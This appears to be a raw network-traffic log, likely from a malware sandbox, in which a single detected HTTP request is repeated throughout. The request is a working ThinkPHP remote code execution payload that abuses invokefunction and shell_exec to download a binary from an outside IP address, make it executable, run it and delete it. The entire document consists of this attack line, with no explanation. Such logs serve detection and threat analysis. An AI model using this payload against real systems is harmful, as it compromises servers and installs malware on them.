Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://139.59.126.134/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: puzzles/2.0
